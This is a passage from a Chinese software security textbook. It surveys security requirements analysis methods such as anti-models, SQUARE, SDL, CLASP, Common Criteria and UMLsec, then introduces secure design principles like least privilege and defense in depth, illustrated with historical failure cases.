1）从系统中找出一些安全关键性的对象并为它们定义安全关注点。用扩展的KAOS语言形式化描述这些安全关注点，对形式化的安全关注点进行语义取反，得到初始的反目标。

2）分析初始的反目标，识别出具有反目标意图的攻击者。

3）进一步分析攻击者的动机，尽量获取攻击者的真实动机，得到更多的反目标。

4）精化步骤3）所得到的反目标，直到反目标可被攻击者直接实施或者可具体化为软件的防御漏洞。该步骤可采用目标回归法、模式精化法对反目标进行精化。

5）根据反目标，建立攻击者与软件系统之间的“反模型”。

6）消解反目标，主要采用反目标弱化、反目标消除等手段。

反模型方法优点是引入了反目标（anti—goal）的概念，用反目标代表具有恶意性质的障碍目标；它们还对传统的KAOS框架进行了扩展，引入了认知时序逻辑结构和模式，以支持反目标的形式化分析和推理。

反模型方法为软件安全开发早期详细阐述安全问题提供了建设性指导，当需要更高的安全保证时它支持增量式推理部分模型和形式化推导。从上述过程可以看出，反目标的形式精化过程需要数学推理能力较强的人来实施，从而保证反目标获取结果的正确性、有效性和完整性。因此该方法适合安全经验丰富、对面向目标的需求获取方法比较熟悉的开发团队来使用。

4.面向方向上的扩展：横切威胁

横切威胁（Crosscutting Threaten）是基于面向方向思想获取安全需求。面向方向的软件开发（Aspect-Oriented Software Development，AOSD）是使横切关注点更好地分离的一种技术。在面向方向的编程（Aspect-Oriented Programming，AOP）中，对于“横切”（Cross-Cut）给出这样的定义：如果被构建的两个属性必须以不同的方式构造，但是属性之间又需要被协同，那么这两个属性彼此横切。把问题分解为更小的部分，将关注点分离出来。通过对关注点的分离，有助于从不同角度对软件系统进行理解、维护和扩展。

基于面向方向的思想获取安全需求，是将软件系统中可能存在威胁的地方当作“连接点”，将同一个威胁下的所有连接点组织成“横切点”，能够解决威胁的安全需求作为“通知”，将“通知”和“横切点”组织成“方面”（aspect）。目前面向方向的安全需求获取思想的典型方法是Charles B.Haley等人提出的从横切威胁描述中获取安全需求的方法。

Haley等人的方法是以问题框架分析方法为依托，问题领域中的风险资产是威胁的主要来源，问题领域间的交互是威胁的间接来源。该方法获取安全需求的主要步骤为：

1）在问题上下文中识别风险的资产。

2）依据资产所具有的安全关注点，识别资产上的威胁，获取威胁描述。

3）通过对问题领域的现象分析，判定问题领域的现象描述是否满足了威胁发生的条件，如果满足，则产生新的安全需求或者对原有需求做出修改，以阻止威胁的发生。

4）识别冲突，针对步骤3）中安全需求的引入，判断是否有新的威胁被引入到系统中以及需求之间是否发生冲突。虽然提供了威胁分析方法，但是还需要安全分析人员对威胁进行确定，这直接影响了安全需求定义的完整性和有效性。

面向方向的需求分析思想适合与已有的需求分析方法相结合，只要能够确定软件系统的关注点，再提供从功能关注点中分析安全威胁的方法，就可以获取威胁并定义横切关注点。

5.SQUARE过程模型

SQUARE模型的特性是在软件开发周期的早期植入安全概念。当系统实现后可以用这个模型分析系统的安全性，并且对系统将来的修改和更新有重要作用。表2-3显示了SQUARE的基本过程。

表2-3　SQUARE过程
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第1步，“统一定义”，它是安全需求工程的首要条件。开发团队会根据经验来定义一个软件项目的安全内容，这个定义可能跟项目的实际安全要求差别很大。通过查阅IEEE和SWEBOK等安全相关资料，有利于开发团队更加准确地进行“统一定义”。

第2步，“确认安全目标”，必须在软件项目开始阶段就确定其安全目标，并且在整个软件项目生命周期中持续关注。软件项目的不同用户有着不同的安全目标。如，人力资源部的客户只关心人力资源档案的保密性，而财务部门的客户只关心财务数据在没有授权的情况下不能轻易访问或修改。

第3步，“开发方案”，其目标是得到可以更好地支持安全需求定义的方案，它是安全需求工程活动必需的过程。这一过程输出的开发方案资源可能包括误用/滥用案例、模板、框架等。

第4步，“进行风险评估”，这一活动需要风险专家、投资者和安全需求工程师的支持。风险专家会根据软件项目的需求推荐特定的风险评估方法，进行风险分析并得出风险评估结果，这是得到准确的安全需求的必要步骤。

第5步，“选择启发性方法”。当软件项目的客户包含不同类型时，这一活动尤其重要。因为选择较为形式化的启发式方法能够很好地克服不同知识背景的客户之间的沟通问题。

第6步，“得出安全需求”，这一步骤建立在前面所有的基础之上，利用所选方案（如滥用案例）得出安全需求，它是使用一定选择技巧的启发性方法。

第7步，“需求分类”，这一过程中安全需求工程师会区分关键的需求、目标（理想的需求）和可能存在的构架约束。这个分类有助于后面的排序过程（第8步）。

第8步，“需求排序”，对需求的排序不仅依赖于需求分类，也关系到成本效益分析，这些分析可以决定哪些安全需求有很高的效益。

第9步，“需求检查”，检查需求的方法很多，例如，专用检查方法和同行审查。这个活动完成后，开发团队会得到一系列排好序的初始安全需求。在后续的开发过程中，开发团队需要注意目前还不完善的需求，并理解哪些需求独立于特定的架构和实现。

使用SQUARE的经验表明：软件项目的安全开发过程必须考虑其运行环境。比如，一个运行在孤立工作站的系统的安全需求和一个运行在基于网络服务器的系统的安全需求有很大区别。同理，一个放在病人房间的医疗信息系统的安全需求和一个放在医院公共场所的医疗信息系统的安全需求也是不一样的。这样的需求差异应该在第3步加以区分，比如，使用用例、误用案例或滥用案例考虑到不同的场景。此外，当一个项目发生变化时，应当重新应用SQUARE过程分析安全需求。

6.小结

以上5种常用的安全需求分析方法从各个方面在需求工程中融入了安全性。这5种方法起初只是用于研究目的，后来随着安全需求工程的逐步发展开始应用于实际软件开发过程。表2-4是对这5种方法的对比和总结。

表2-4　对5种常用的安全需求分析方法的对比和总结
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2.2.2　安全需求分析方法在实践中的应用

软件只有在满足了保密性、完整性和可用性以及不可否认性等安全属性的情况下，才被认为是安全的，然而现实中大多数软件都或多或少存在一些可能被攻击者利用的安全漏洞。

软件安全工程将安全考虑集成到软件开发过程的每一个阶段来避免安全漏洞。将一系列安全设计原则、安全最佳实践及专家经验组合起来，形成了软件安全开发生命周期。目前比较有影响力的有微软的SDL（Security Development Lifecycle）、OWSAP的CLASP（Comprehensive，Lightweight Application Security Process）方法、McGraw的七个安全接触点方法以及IBM Rational软件安全开发生命周期。另外，CC标准提出了安全评估的模型和安全需求分析流程。本节将着重介绍以上几种过程中应用安全需求分析方法的过程，以及应注意的事项。

1.SDL中的安全需求分析方法

SDL流程中的安全需求分析和安全设计是融合在一起的，在实际的软件安全开发中也可以借鉴这个方法，因为需求和设计都是在软件产品具体开发之前对产品功能和性能的把握，是对产品实现计划和方案的探究。

SDL提倡在软件开发生命周期中尽早地进行风险分析，主要评估安全与隐私部分所需投入资源的程度。首先，对待开发的软件产品进行安全风险评估，以确定对软件各部分投入什么资源以及投入多少，对于高安全风险的部分投入更多的资源和精力；然后进行隐私影响分级；最后统一各种因素，努力减少用户面临的风险。

SDL风险分析中用到了STRIDE威胁建模。威胁模型应随着威胁的演变至少每六个月更新一次。对于某些正在开发中的软件产品，可能需要更新威胁模型并建立相应的威胁应对措施，才能保证系统不被利用此研究成果的攻击者侵入。所以，利用威胁建模进行安全需求分析并不是一次性的活动，而是随着软件项目的进展和安全研究的发展而不断做出调整，保持安全需求分析的正确性，有利于开发出更为安全的软件。

针对大型软件产品，微软主张先对系统的小模块进行威胁建模，因为对一个软件产品的组成模块进行建模一般比对整个软件进行建模的效率高。但是使用这种方法时，当安全人员认为系统已经稳定下来了，威胁可能会发生在两个模块交互的时候。所以在开始阶段应定义可信任边界，先对边界之内的模块进行建模，然后再考虑边界之外的部分。

2.七个接触点中的安全需求分析

Gary McGraw博士认为解决软件安全问题的根本方法是改善构造软件的方式，因此他提出了实施软件安全的工程化方法，支持这个方法的支柱是七个接触点，即代码审核、体系结构风险分析、渗透测试、基于风险的安全测试、滥用案例、安全需求和安全操作。无论采用哪种软件开发方法，开发人员不需要改变软件开发生命周期，只需要将这些接触点添加其中就可以用来解决安全问题。这些接触点从“攻击与破解”（黑帽子）和“防御与保护”（白帽子）两个方面综合地考察软件开发中可能出现的问题，帮助开发生命周期成为“安全的”开发生命周期。

McGraw提出必须明确地在需求阶段考虑安全问题。好的安全需求包括明显的功能安全（例如，使用实用的加密方法）和突发安全事件（使用滥用案例和攻击模式可以获取安全事件）。确定和维护安全需求的方法是非常复杂的，开发人员应该针对具体产品来进行灵活地分析和处理。McGraw提出应尽早开始风险分析过程，在进行安全需求分析时就应该考虑到希望抵御的风险。

McGraw利用滥用案例的方法来进行安全需求分析。在开发软件系统或者一组软件需求时，认清“希望软件做什么”和“不希望软件做什么”两个问题同等重要。其中“不希望系统做什么”与需求紧密相关，也称为反需求（与威胁同义）。反需求能够使开发人员更加深刻地理解恶意用户、攻击者或竞争对手可能会如何滥用软件系统，其目的是明确地破坏需求。安全分析人员和需求分析人员（商业和技术方面的）合作，通过分析需求和用例，最终获取反需求，在这个过程中需要引用威胁清单，以确定和记录会导致需求无效的攻击。安全需求产生了系统内部的功能，以建立可接受的行为；与此对应，反需求的建立是为了确定当这种功能无效时会产生的后果。如果反需求在软件开发生命周期的早期创建，并在整个生命周期中不断修订，将为开发人员和测试人员提供有价值的信息。

3.CLASP在安全需求分析的应用

OWASP（Open Web Application Security Project）提出的CLASP生命周期模型是由一系列安全活动驱动的基于角色组织的安全实践过程模型。它通过一些安全最佳实践将安全属性以一种结构化、可重复和可测量的方式整合进软件开发生命周期中。CLASP处理安全需求的基本思想是以一种结构化的方法确定资源如何在其生命周期中访问每个核心安全服务。CLASP安全需求的方法包含以下步骤：

·确定系统用户和资源。

·对资源进行分类。

·在整个生命周期中识别资源之间的相互作用。

·对于每种资源分类，制定满足每种安全服务的机制，形成需求规格说明。

表2-5是CLASP获取安全需求的例子。这个例子是一个三层架构（表现层，业务逻辑层和数据访问层）的简单应用，假设客户端通过网络连接服务，服务允许用户存储其与服务的通信信息，而且参与通信的用户是唯一能够访问其通信信息的人。表中通过分析可能与高度保密（User-Highly Confidential，UHC）数据交互的每种资源或角色，来获取用户UHC数据的安全需求。

表2-5　CLASP安全需求例子

[image: ]


4.IBM软件安全开发生命周期中的需求分析

IBM软件安全开发生命周期包括设计、开发和交付。IBM安全开发过程强调要定义明确的安全需求，重要的是确切了解什么是安全需求。尽管安全需求与安全特性用于不同的目的，但它们经常被混淆。使用以下两个定义可以明确这种差异。

·安全需求是必须完成的任务。例如，所有密码必须加密存储。安全需求通常不会指示如何做，例如，说明用哪个软件来加密。

·安全特性必须是可用的功能。例如，用户管理必须能够在Web界面进行。

与功能要求或性能要求类似，安全需求需要确保从一开始就将安全性构建到应用中。安全需求定义要求何种新安全特性，以及如何改变现有特性以包括必要的安全属性。设定安全需求的目标是确保应用可以预防和抵挡攻击。IBM安全开发过程提出应该考虑九类安全需求：

（1）审计和日志记录

尽管人们通常依赖网络数据包日志来进行取证分析，应用程序内部的日志记录也是同等重要的，应用程序应该对软件的保密性、可用性和完整性等至关重要的事件进行内部日志记录。

例如，应用需要有审计日志。审计日志记录的日志事件必须包括IP地址和时间等。必须记录的日志事件包括账号验证尝试、账号锁定、应用错误和与规定的验证程序不匹配的输入值等。

（2）身份验证

由于大多数应用具备访问控制限制，确保这些访问控制机制不能被破解或操作未经授权的访问非常重要，如，要求强密码。任何身份验证凭证必须满足适当的强度，其中包括大写字母、小写字母和数字字符，而且在长度上不能小于8个字符。

（3）会话管理

HTTP协议最初的设计难以在整个应用会话持续期间跟踪会话。这推动了HTTP协议上会话管理功能的开发。例如，一个安全需求是合法用户自始至终可以保持正常访问，远程会话的所有资源利用必须加以监控和限制，以防止或减轻对应用可用性的攻击。

（4）输入验证和输出编码

尽管在建模和架构阶段大多数设计级安全性缺陷都会被发现，但大多数开发和交付的安全性问题是由于不良的输入验证和输出编码而引入的，因此用户提供的数据要通过适当的验证，例如，所有输入必须通过集中的验证控制来加以验证。

（5）异常处理

从严格意义上讲，一个应用不可能完全安全。隐藏详细的应用异常或过于具体的错误消息，能够延长攻击应用所需的时间，因此一个安全需求是应将所有错误消息捕获，并记录在安全性审计日志中。

（6）加密技术

选择一种满足业务需要、受行业支持的加密算法极其重要。如，应用所使用的所有加密算法必须经过联邦信息处理标准（Federal Information Processing Standards，FIPS）批准且与之兼容。

（7）存储数据

尽管所有应用都试图保护存储中的数据，但还是需要假设这些数据会被泄露。任何敏感数据都要加密。一个安全需求的例子是，如果应用包含必须强加保护的敏感用户信息，则必须使用加密技术来保护用户名、地址和财务数据等敏感的用户信息。

（8）使用数据

只要软件应用被实现，就存在对传输数据的攻击。当应用数据跨越开放和封闭的网络和系统时，需要加以保护。如果应用在不可信或不安全的网络间传输敏感的用户信息，那么所有通信内容必须予以加密。

（9）配置管理

新的漏洞每天都会涌现，尽管其中一些问题可通过打补丁的方式加以纠正，但有时需要通过特定的部署措施来同时满足业务使用要求和安全要求。如，所有管理界面必须从非管理界面中分离出来。

在定义了安全需求的明确集合后，IBM安全开发过程会使用自动化工具对这些安全需求进行测试，以检查这些安全需求是否在软件安全开发生命周期中得到正确实施。如果通过了自动测试并验证了其正确性，应用中一部分安全漏洞就能被消除。

5.CC标准中安全需求分析流程

CC标准的核心思想之一是将信息系统的安全功能与安全保证相互独立。安全功能需求定义了待评估软件或系统所期望具有的安全行为，而安全保证需求则对其宣称的安全目标及采取的安全措施的正确性和有效性提供信任基础。

安全目标（Security Target，ST）是对某个产品或系统提出的安全需求与概要设计说明书，它包括确定的TOE安全要求，以及达到这些要求所需的安全功能和保证措施。ST的安全需求可以通过引用某个或某些PP来定义，也可以采用与定义PP相同的方法自定义。此外，ST还包含TOE的概要规范。

CC标准提供了安全需求分析的一套流程，如图2-6所示。CC标准中的安全需求分析方法可以分成以下步骤。首先，根据系统涉及的资产分析用户所关心的关键资产，关键资产是要保护的内容。其次，确定安全环境，包括分析关键资产所面临的威胁、考虑安全假设和说明需要遵从的组织安全策略。威胁是指内部或者外部的潜在损害；假设是指系统职责以外的不需要考虑的安全需求；组织安全策略是指一些约定好的安全规章制度和措施等，是根据多年的经验实践建立起来的。接着，对提出的威胁等进行风险分析，确定出哪些安全隐患比较严重，哪些安全问题不需要考虑，由此可以得到安全目标，安全目标旨在确定的描述需要解决的安全问题。然后，可以参考CC标准所提供的知识，导出系统所需要的安全功能组件和安全保证组件。至此已经确定了系统的安全需求，但是现在的安全需求还不涉及系统的具体实施技术等，所形成的安全需求文档也不能用来指导安全开发。最后，还需要将安全功能组件和安全保证组件结合系统的具体情况描述成安全概要规范，以达到指导安全开发的目标。
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图2-6　CC标准提供的安全需求分析过程

6.小结

以上五种方法是在实际软件开发过程中不断提炼总结得出的，表2-6是五种方法的对比和总结。

表2-6　五种实践中典型的安全需求分析方法的对比和总结
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2.2.3　使用UMLsec方法对网上交易系统进行安全需求分析

本节以典型的网上交易系统为例，说明如何使用UMLsec方法开发包含安全策略的应用软件。统一建模语言UML用于描述面向对象软件，它包含用例图、实图、类图、状态图、顺序图、活动图、部署图和子系统。通过采用统一建模语言UML，将安全特性自然融入到软件设计过程之中，形成UMLsec方法。UMLsec方法采用可视化的UML建模语言，从不同的视角描述系统的不同侧面，并通过扩展了语义的UML规范、求精、验证过程，使得开发人员可以把安全集成到软件工程过程的每一个阶段。

UML安全扩展UMLsec通过在UML元模型中增加安全相关的构造型、标记值、约束等建模元素，来表达安全属性的语义和系统需求。构造型是一种修饰，允许为建模元素定义新的语义。标记值是可以与建模元素相关联的键值对，允许在建模元素上标注任何值。约束是定义模型外形的规则，可表示为任何形式的文本，或者用更正式的对象约束语言表示。

对软件安全属性，UMLsec主要包括以下构造型：用户安全构造型<<access>>对用户基本信息进行控制与验证，防止对软件系统的非法攻击与恶意访问；访问权限控制构造型<<privilege>>对被访问的类、对象、信息设定权限策略，约束信息可根据具体应用软件设计的实际情况制定；敏感信息传输过程的加密与解密构造型<<encrypted>>表示对传输过程中的敏感信息以及数据进行加密，该构造型可应用于顺序图所描述的交互行为；构造型<<decrypted>>表示对信息读取前解密；数据库安全构造型#data security表示数据安全性说明，同时使用{secrecy，integrity，consistency}对数据保密性、完整性以及一致性进行约束。

使用UMLsec建模对软件需求进行安全性分析，主要是分析软件的安全属性。UMLsec安全属性添加过程如下：首先使用UML建立系统未包含安全属性的平台无关模型，接着将该模型保存为xml文件，选定预先定义的xml格式的profile文件，该文件对不同图形所能添加的构造型进行了约束，通过菜单选项向UML模型中的图件添加profile文件中的构造型，添加后的文件保存为xml格式，工具通过可视化机制将其显示为使用UML表示的包含安全属性的平台独立模型（Platform Independent Model，PIM）。UMLsec采用用例图表示系统业务，并根据每个用例的实际意义给出用例描述，UMLsec需要使用到UML2.0的类图、活动图、顺序图、状态图等。

网上交易系统通常包括用户登录、商品浏览、确认购买、网上支付等四个模块，如图2-7所示。这四个部分可作为系统的基本需求，对用户登录与网上支付还需要附加额外的安全约束。用户使用该交易系统时，浏览商品操作不需实名登录和身份确认，其余操作均要在登录完成后进行。图2-8显示了系统未增加安全属性时的顺序图，图2-10则给出了添加安全属性后的顺序图。添加过程如下：使用xml描述未包含安全信息的顺序图（图2-8），对应于顺序图2-8的xml文件片段如图2-9所示，为顺序图中的对象、消息添加profile文件中相应的构造型<<access>>和<<encrypted>>，分别用以描述、验证用户登录的基本信息、支付账号加密等安全属性。图2-12显示了UMLsec profile文件的一部分，显示了构造型<<access>>的使用，而图2-13描述了可应用于顺序图的构造型<<access>>，更新后的xml文件如图2-11所示，可通过工具显示为包含安全信息的顺序图。
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图2-7　网上交易系统用例图
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图2-8　网上交易系统未包含安全属性的顺序图
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图2-9　网上交易系统未包含安全属性顺序图的xml描述

通过上面的工作，可以得到PIM，它类似于系统分析模型，处于中间抽象层次，关注系统的整个架构实现，忽略掉与平台相关的部分。与PIM相对应的是平台相关模型（Platform specific model，PSM），它建立在PIM之上，加入了特定实现平台的系统功能描述，是PIM与平台相关信息的结合。得到系统安全性建模的PIM之后，可通过扩展样式表转换语言（Extensible Style sheet Language Transformations，XSLT）制定不同平台转换规则向PSM转换，即将PIM中的安全属性映射到指定平台，最终使安全策略在所开发的软件中得以实现。为了使转换过程易实现、易操作、易修改，所有PIM、PSM均保存为xml文件。针对不同的应用系统，在相同的开发平台下，安全属性模型构建完成之后，可使用相同的转换策略实现安全属性模块。与传统建模方法相比，profile文件对安全属性进行了有效的划分，明确了添加在每种图形之上的具体构造型，并使其具有指定的意义，作为模型转换的基础。

图2-13给出了构造型<<access>>对应的PSM描述。为防止系统访问人数过载，需要对匿名使用者设置访问时长，可根据应用系统的类型、访问用户身份、数量要求决定，在即将超时之前给出系统提示，直至关闭会话。同时，匿名访问时，权限受到一定限制。实名访问比较容易控制使用系统的用户数量上限。为防止恶意攻击，两种访问方式均要记录用户的IP地址。Profile中的其他构造型以类似方法描述。
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图2-10　网上交易系统包含安全属性的顺序图
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图2-11　网上交易系统包含安全属性顺序图的xml描述

[image: ]


图2-12　UMLsec profile文件片段
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图2-13　<<access>>对应的平台相关描述
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第3章　软件安全设计

软件设计处于软件工程的核心地位，开发中不管使用何种开发模式，都离不开软件设计。当软件需求分析和定义完成后进入软件设计阶段，设计的好坏直接影响软件产品的质量和用户对最终软件产品的满意程度。设计阶段要构造出软件实现的“蓝图”，开发者依照设计来实现软件的功能和性能，所以好的设计是开发出高质量软件的基础。

软件设计是从软件需求到软件实现必不可少的活动，它把各种软件需求转换为可以直接实现的软件结构。对于大型软件系统的开发和维护，需要开发者从更高的抽象层次关注软件。为了提高软件设计的质量，学术界和软件工程界提出了多种软件分析和设计的过程、方法与工具，本章将会对这些方法进行介绍。另外，为了达到控制软件复杂性、提高软件系统质量、支持软件开发和复用的目的，开发人员还提出了软件架构的概念，本章也将对此进行介绍。

总地来说，软件安全设计方法是一套在软件生产过程中关注软件安全性的卓有成效的开发步骤和流程；软件架构是一系列相关的抽象模式，用于指导大型软件系统各个方面的设计，对软件架构进行安全分析可以及早发现软件设计中的安全问题；在实际软件生产中，微软提出的威胁建模方法得到了广泛使用。


3.1　软件设计与安全设计

统计发现，软件中50%~75%的问题是在设计阶段引入的，并且修复成本会随着发现时间的推后而增长。因此，在设计阶段进行软件架构分析对软件的安全保障起着决定性作用，软件架构分析也提供了从更高、更抽象的层次保障软件安全性的方法。

在开发中，一些设计问题可能会使程序员浪费大量的时间在不必要的事情上。例如编写一些根本不需要的代码，这些代码从来没有用到，反而可能与系统的其他部分脱节，存在安全缺陷，最终还需要程序员花费大量时间来解决。存在设计问题的产品一旦被应用，用户将面临危险，损失无法估量。因为设计错误而引起损失的案例有很多，这里简单介绍几个。

（1）案例一

Microsoft Bob程序是作为Windows ME和windows 98的辅助程序而设计的。它有一个设置系统密码的工具。当用户连续三次密码输入都不正确时，Bob将弹出“我想你忘记了你的密码，请输入一个新的密码”，此时用户可以在不知道原有密码的情况下重新设置系统密码。

（2）案例二

Therac-25是加拿大原子能公司生产的一种辐射治疗仪器。由于软件设计问题，使用时剂量设定超过安全范围，导致在1985年6月到1987年1月之间，发生六起患者死亡或受到严重辐射灼伤的医疗事故。

（3）案例三

2011年7月23日20时30分05秒，温甬线浙江省温州市境内，由北京南站开往福州站的D301次列车与杭州站开往福州南站的D3115次列车发生动车组列车追尾事故，造成40人死亡172人受伤，中断行车32小时35分，直接经济损失19371.65万元。调查显示，“7·23”动车事故是由于温州南站信号设备在设计上存在严重缺陷，遭雷击发生故障后，导致本应显示为红灯的区间信号机错误显示为绿灯。


3.1.1　软件设计的主要工作

软件设计过程考虑的主要内容包括架构设计、接口设计、构件设计和部署设计。软件架构是软件系统的基本形态，也就是软件系统的整体框架。设计人员只有掌握了软件中信息如何流入、流出，架构中构件之间如何通信，才能设计出好的接口，再考虑所访问构件的操作接口及其内部操作的处理。除此之外，项目最终的部署环境也不容忽视。

从工程管理的角度，软件设计可以分为概要设计和详细设计。概要设计是根据需求确定软件和数据的总体框架，详细设计是将其进一步精化成软件的算法表示和数据结构。而在技术上，概要设计和详细设计又由若干活动组成，主要包括软件架构设计、界面设计、模块/子系统设计、数据模型设计、过程/算法设计。设计过程中的活动很可能是交替进行的。一般概要设计主要包括架构设计，而其他可以归为详细设计。目前采用的很多软件开发方法，例如面向对象方法，其设计过程从概念模型逐步精化到实现模型，并且不断进行迭代，设计过程很难用概要设计和详细设计进行明确的区分。这些设计活动的顺序在很大程度上与开发的系统、采用的软件开发方法相关。此外，设计过程还包括对设计进行计划、评审等不可缺少的活动。

从生命周期的角度，软件设计可以看作是从软件需求规格说明书出发，根据需求分析阶段确定的功能，设计软件系统的整体结构、划分功能模块、确定每个模块的实现算法等内容，形成软件的具体设计方案，即从整体到局部，从概要设计到详细设计的过程。

软件设计的各个活动以需求阶段产生的需求规格说明为基础，首先对整个设计过程进行计划，然后实施具体的设计活动，这些设计活动本身可能是一个不断迭代和精化的过程。因为设计者一般不可能一次就完成一个完整的设计，软件设计可能是一个多次反复的过程，在设计过程中需要不断添加设计要素和设计细节，并对先前的设计方案进行修正。所以，软件设计一般是一个迭代的过程。

在设计活动完成后，应该形成设计规格说明。然后，对设计过程和设计规格说明进行评审，如果评审未通过，则再次修订设计计划并对设计进行改进；如果评审通过，则进入后续实现阶段。


3.1.2　软件安全设计原则

为了更好地进行软件安全开发与设计，软件研发人员通过对软件开发和软件测试中的安全经验进行总结，逐渐形成了一系列软件安全设计原则。这些原则可以用于指导软件开发人员，特别是软件架构师和设计师，开发更为安全的软件。

1.最小特权原则

最小特权原则是系统安全性设计最基本的原则之一。最小特权原则是指应限定系统或网络中每个主体所必须拥有的最小特权，确保系统故障、错误、网络部件篡改等原因造成的损失最小。

当授予系统某些资源的访问权时，就有滥用该访问权的风险，解决的方法就是，不要冒险给予其必要访问权限以外的权利。最小特权原则的实质是任何实体（用户、管理员、进程、应用和系统等）仅拥有其完成规定任务所必需的权限。即仅将所需权限的最小集授权给需要访问资源的主体，并且该权限的持续时间也应该尽可能短。最小特权原则可以尽量避免将系统资源暴露在攻击之下，减少因遭受攻击而造成的损失。

例如，惠普的安全操作系统Praesidium/Virtual Vault采用最小特权机制，将系统管理员权限root分成42种独立的特权，仅赋予每一应用程序正常运行所需的最小特权。因而，即便一名黑客将木马程序安装在Web服务器上，入侵者也无法改变网络配置或安装文件系统。

在实际设计时，设计人员应该认真评估应用的最小特权，完成相关功能操作所需的最小访问权，只在需要且满足一定条件的情况下允许提升权限。

2.职责分离原则

职责分离原则是指分配不同的任务给不同职位的人，或者在多个人之间对某个特定的安全操作过程分配相关的特权。职责分离主要有两个目的：一个目的是防止利益冲突，防止不法行为、欺诈、滥用职权以及错误等；另一个目的是检测失败操作，包括安全漏洞、信息窃取等，保障信息系统免受因为系统、网络以及数据的保密性、完整性、可用性遭受攻击而采取的措施。

清晰的职责分离带来的是清晰的模块划分，进而可以组合各个模块，将风险分散到各个模块中去。如果软件缺少职责分离，一旦出现问题，整个软件都可能面临风险。使用职责分离，出现问题可以快速定位到模块，以便进行修复。其次，还可以对单个模块进行测试，保证各个模块的正确性，如果没有使用职责分离，需要软件完全开发完之后才能测试，一旦出现问题需要在整个系统中查找。采用职责分离后，还可以重复使用已经开发的模块，并且可以在已有模块上增加、替换模块，同时不影响原有模块的功能。

3.默认安全原则

默认安全是指需要为系统的安全措施提供默认的配置，包括默认账号、默认权限、默认策略。默认安全原则也是保持系统简单化的重要方式。尽可能让用户不需要额外配置（见表3-1），就可以安全地应用。

表3-1　默认安全设计
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4.心理可接受原则

J.H.Saltzer和M.D.Schroeder指出：心理接受能力是指软件接口设计应该便于使用，这是一条必不可少的原则，这样，用户能正确地使用安全保护机制。Alan J.Bishop认为这一原则道出了计算机安全中的人为因素。心理接受能力被定义为：对资源的访问不应该因为安全机制的出现而变得更加困难。

安全机制不应该阻止资源的可访问性，如果安全机制阻碍使用，用户可能选择关闭这些机制。在可能的情况下，安全机制对系统用户应该是透明的或者只有极小的使用阻碍。安全机制应该对用户很“友好”，从而让用户使用便利，方便用户对软件程序的理解，所以用户接口的设计非常重要。

配置和执行一个程序应该尽可能的简单和直观，输出应该直接而且有用。如果安全软件配置太复杂，系统管理员可能简单地以一种无安全状态的方法来配置。同样，安全的用户程序必须易于使用，输出信息易于理解。如果一个密码被拒绝了，密码服务程序应该注明拒绝原因而不是简单地给出一个密码错误信息。如果一个配置文件有不正确的参数，错误提示信息应该描述正确的参数。

另一方面，安全性要求传递消息不能透露有用信息。在实践中，按原则设计安全机制可能增加一些额外的负担，但是这些负担必须最小且合理。

5.隐私保护原则

John Viega和Gary McGraw指出：很多用户担心隐私安全。隐私和安全是构建可信应用的两个关键因素。隐私，即用户能控制个人信息的使用、收集和发布；安全是采用保护措施，防止恶意行为或影响，保护个人信息的保密性、完整性和可用性。不要做任何可能损害用户隐私的事情，尽可能保护任何一个用户放在程序里的个人信息。一个安全的系统可能无法保护用户的隐私。

保护软件隐私信息免遭窃取是软件安全一个非常重要的方面。如果一个攻击者攻破了一个软件系统并且偷去客户的私密信息，用户会对这个软件失去信心。攻击者也可以获取敏感系统信息，进而得到攻击系统所需要的详细信息。防止攻击者访问私密信息或者混淆这些信息，可以降低信息泄露的危险。

隐私保护的目标除了增加客户的信任，也是为了符合相关法律的要求。不同目标和不同程序行为有着不同的隐私关注点。如，为了保护未成年人安全，以儿童为使用对象的应用程序应遵守《儿童在线隐私保护法案（COPPA）》。隐私保护需要告诉用户所收集的个人数据将如何使用，确保用户数据安全存储，并且只按照声明的用途使用。当数据将用于声明外的其他用途时，告知用户，并让用户选择，确保用户数据的使用符合相关法律的要求。

6.保护最薄弱环节原则

安全人员通常认为，安全是一个链条，其安全性由最弱的环节决定，软件安全由最弱的组件决定，攻击者常常试图攻击系统中看起来最薄弱的部分，而不是看起来最坚固的部分。一般来说，人们比较重视密码算法的强度。但是实际上，即使使用只有512位RSA密钥这类公认的较弱的密码算法，攻击者也常常会绕开密码部分，寻找更容易的方法进入。因为虽然这些密码是可被攻破的，但是需要大量的计算工作。

如果进行风险分析，标识出系统最薄弱的组件，首先应该消除最严重的风险，而不是看起来最容易减轻的风险。另一方面，软件安全是动态变化的，根据软件工程过程中定义的量度，在所有组件都达到可接受的安全风险阈值时，软件安全性将暂时稳定下来。

有时软件本身并不是系统的最薄弱的环节，而管理才是系统的最薄弱环节。例如，服务中心接到用户电话，声称因为遗忘要求提供本人密码，或其他应该保密的信息。这种攻击通常很容易成功，因为服务人员通常会不加提防地把密码告诉打电话的人。即使他们要求用户回答一些问题或出示证件以便进行认证，但是如果攻击者明确了攻击目标，是很容易获得这些信息或伪造证件。

7.故障保护原则

任何复杂系统都难免出现各类故障，可以设法避免由故障带来的安全问题。当系统出现各种形式的故障时，基本上都是由不安全行为造成的。在这样的系统中，攻击者只需造成某种类型的故障，或者等待某类型的故障发生，就可以实施攻击。

远程方法调用（Remote Method invocation，RMI）的大多数实现都有类似问题。当客户机和服务器想通过RMI进行通信，服务器希望使用SSL或其他加密协议，而客户机可能不支持这些协议。此时，客户机通常会在运行时从服务器下载适当的加密接口，因为下载加密接口时，没有对服务器进行认证，即使在客户机已经安装了正确的SSL协议的情况下，攻击者还可以假装成服务器，在每台客户机上安装他自己的加密接口。如果客户机未能建立与缺省库的安全连接，将使用一个不可信实体给它的任何协议建立连接，因此也就扩展了信任范围，存在较大安全风险。

8.纵深防御原则

纵深防御原则不仅依靠安全机制和安全服务的组合，而且还建立协议层次、信息流向等纵向结构层次的多种有效防御措施，防范各类攻击。它的基本思想是：使用多重防御策略来抵御风险，当一层防御不够时，另一层防御将会阻止进一步的破坏。

纵深防御原则有助于减少系统的单一失效点。它强调不依赖于单一的安全解决方案，使用多种互补的安全产品，即使一个产品失效，也不会导致整个系统遭受攻击。例如，大部分公司都使用企业级防火墙来阻止入侵，假设应用程序服务器中存储的数据非常重要，攻击者设法穿透了防火墙，如果对数据进行加密，攻击者在不破解密码或者不能获取未加密数据的情况下，就不能获取有意义的数据。

这一原则与“保护最薄弱环节”原则并不矛盾，“保护最薄弱环节”原则适用于保护组件具有不重叠安全性功能的时候。但当涉及冗余的安全性措施时，纵深防御原则所提供的整体保护比任意单个组件提供的保护要强得多。


3.1.3　减少软件受攻击面

